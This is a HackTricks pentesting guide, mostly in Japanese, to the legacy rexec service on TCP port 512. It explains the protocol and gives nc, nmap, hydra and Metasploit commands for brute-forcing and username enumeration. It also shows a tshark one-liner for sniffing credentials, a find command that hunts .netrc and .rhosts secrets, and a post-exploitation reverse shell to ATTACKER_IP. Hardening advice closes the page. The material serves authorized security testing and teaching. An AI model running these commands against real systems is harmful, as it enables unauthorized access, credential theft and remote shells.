512 - Pentesting Rexec

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Rexec (remote exec) は、オリジナルの Berkeley r-services スイートの一つです(rloginrsh、…)。
これは、リモートでのコマンド実行機能を提供し、平文のユーザー名とパスワードのみで認証されるものです。
このプロトコルは1980年代初頭に定義され(RFC 1060参照)、現在では設計上安全でないと見なされています。
それでも、一部のレガシーな UNIX / ネットワーク接続機器ではデフォルトで有効になっており、内部 pentests の際に稀に発見されます。

デフォルトポート: TCP 512 (exec)

PORT    STATE SERVICE
512/tcp open  exec

🔥 全トラフィック(including credentials を含む)は暗号化されずに送信される。ネットワークを盗聴できる人はusernamepassword、およびcommandを復元できる。

プロトコル概要

  1. クライアントが TCP 512 に接続する。
  2. クライアントは3つのNUL-terminated文字列を送信する:
  • stdout/stderr を受け取るポート番号(ASCII 表示、通常 0)、
  • username
  • password
  1. 最後に実行するcommandを含む NUL 終端の文字列が送信される。
  2. サーバは単一の8ビットステータスバイト(0 = 成功, 1 = 失敗)で応答し、その後に command output を返す。

もし最初のフィールドがnon-zeroであれば、サーバはsecond TCP connection back to the clientを開いて stderr に使用する。これはmanual testingおよびサービス周辺のfingerprinting filtering / firewall issuesの両方に便利である。

つまり、echo -enc だけでこのやり取りを再現できる:

(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512

認証情報が有効な場合、同じ接続上でidの出力がそのまま返ってきます。

専用の listener 上で stderr を受け取りたい場合は、server にあなたへ connect back するよう依頼してください:

nc -lvnp 4444
printf '4444\0user\0password\0id; uname -a\0' | nc <target> 512

Many common implementations (for example GNU rexecd) still enforce 16-byte username/password fields and return different diagnostic strings for invalid usernames vs invalid passwords. That matters during enumeration because some targets leak whether the account exists before you start brute forcing.

クライアントでの手動使用

多くの Linux ディストリビューションは依然としてレガシークライアントを inetutils-rexec / rsh-client パッケージに含めて配布しています:

rexec -l user -p password <target> "uname -a"

-p が省略されると、クライアントは対話形式でパスワードを要求します(通信上で平文として見えてしまいます!)

シェル履歴やプロセスリストにパスワードを残さないようにするため、GNU rexec は stdin から読み取ることもサポートしています:

printf '%s\n' 'password' | rexec -l user -p - <target> "id"

これは not safer on the network; 攻撃元ホスト上でのローカルな露出を減らすだけです。


Enumeration & Brute-forcing

Brute-force

Nmap

nmap -sV -p 512 <target>
# Confirm the classic exec service before credential attacks

nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>

rexec-brute NSE は、上で説明したプロトコルを使用して、認証情報を非常に高速に試行します。

Hydra / Medusa / Ncrack

hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8

hydra には専用の rexec モジュールがあり、依然として最速の offline bruteforcer です。medusa (-M REXEC) と ncrack (rexec module) も同様に使用できます。

サーバーメッセージによるユーザー名列挙

一部の rexecd 実装は Login incorrect.Password incorrect. のように異なるエラーメッセージを返します。もしこのような挙動を確認したら、先にユーザー名を検証し、その後にパスワードを brute force してください:

printf '0\0root\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
printf '0\0definitelynotreal\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2

メッセージが異なる場合は、大規模な password spray を送る前に valid-user リストを作成してください。

同系の r-services を確認する

rexec 自体は rsh / rlogin の trusted-host ロジックとは異なり、パスワード認証を使用しますが、実際には同じレガシーパッケージ(openbsd-inetdinetutils、ベンダーの UNIX バンドル)に含まれていることが多いです。TCP 512 が開いている場合、.rhosts / /etc/hosts.equiv の悪用により横移動が容易になる可能性があるため、TCP 513514 も直ちに確認してください:

nmap -sV -p 512,513,514 <target>

関連項目:

514 - Pentesting Rsh

513 - Pentesting Rlogin

Metasploit

use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

モジュールは成功すると shell を起動し、credentials をデータベースに保存します。


Sniffing credentials

すべてが平文で送信されるため、network captures are priceless。トラフィックのコピーがあれば、target に触れることなく creds を抽出できます:

tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command

(In Wireshark で Decode As … TCP 512 → REXEC を有効にすると、フィールドが見やすく解析されます。)


Post-Exploitation のヒント

  • コマンドは指定されたユーザーの権限で実行されます。 /etc/pam.d/rexec が誤設定されている場合(例: pam_rootok)、root shells が得られることがあります。
  • Rexec はユーザーのシェルを無視し、コマンドを /bin/sh -c <cmd> 経由で実行します。したがって、通常のシェル脱出トリック(;, $( ), バックティック)を使って複数コマンドを連結したり、reverse shells を生成したりできます:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
  • パスワードはしばしば ~/.netrc や他のシステムのレガシー自動化スクリプトに保存されています;1台のホストを侵害すれば lateral movement に再利用できる可能性があります:
find / -xdev \( -name .netrc -o -name netrc -o -iname '*rexec*' -o -path '*/.rhosts' \) 2>/dev/null

ハードニング / 検出

  • rexec を公開しないこと; SSH に置き換えてください。ほとんどの最新の inetd superservers はデフォルトでこのサービスをコメントアウトしています。
  • どうしても残す必要がある場合は、TCP wrappers (/etc/hosts.allow) やファイアウォールルールでアクセスを制限し、アカウントごとの強力なパスワードを必須にしてください。
  • ポート :512 へのトラフィックや rexecd プロセスの起動を監視してください。単一のパケットキャプチャで侵害を検出できます。
  • rexec, rlogin, rsh をまとめて無効にしてください — これらはほとんど同じコードベースと弱点を共有しています。

参考

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする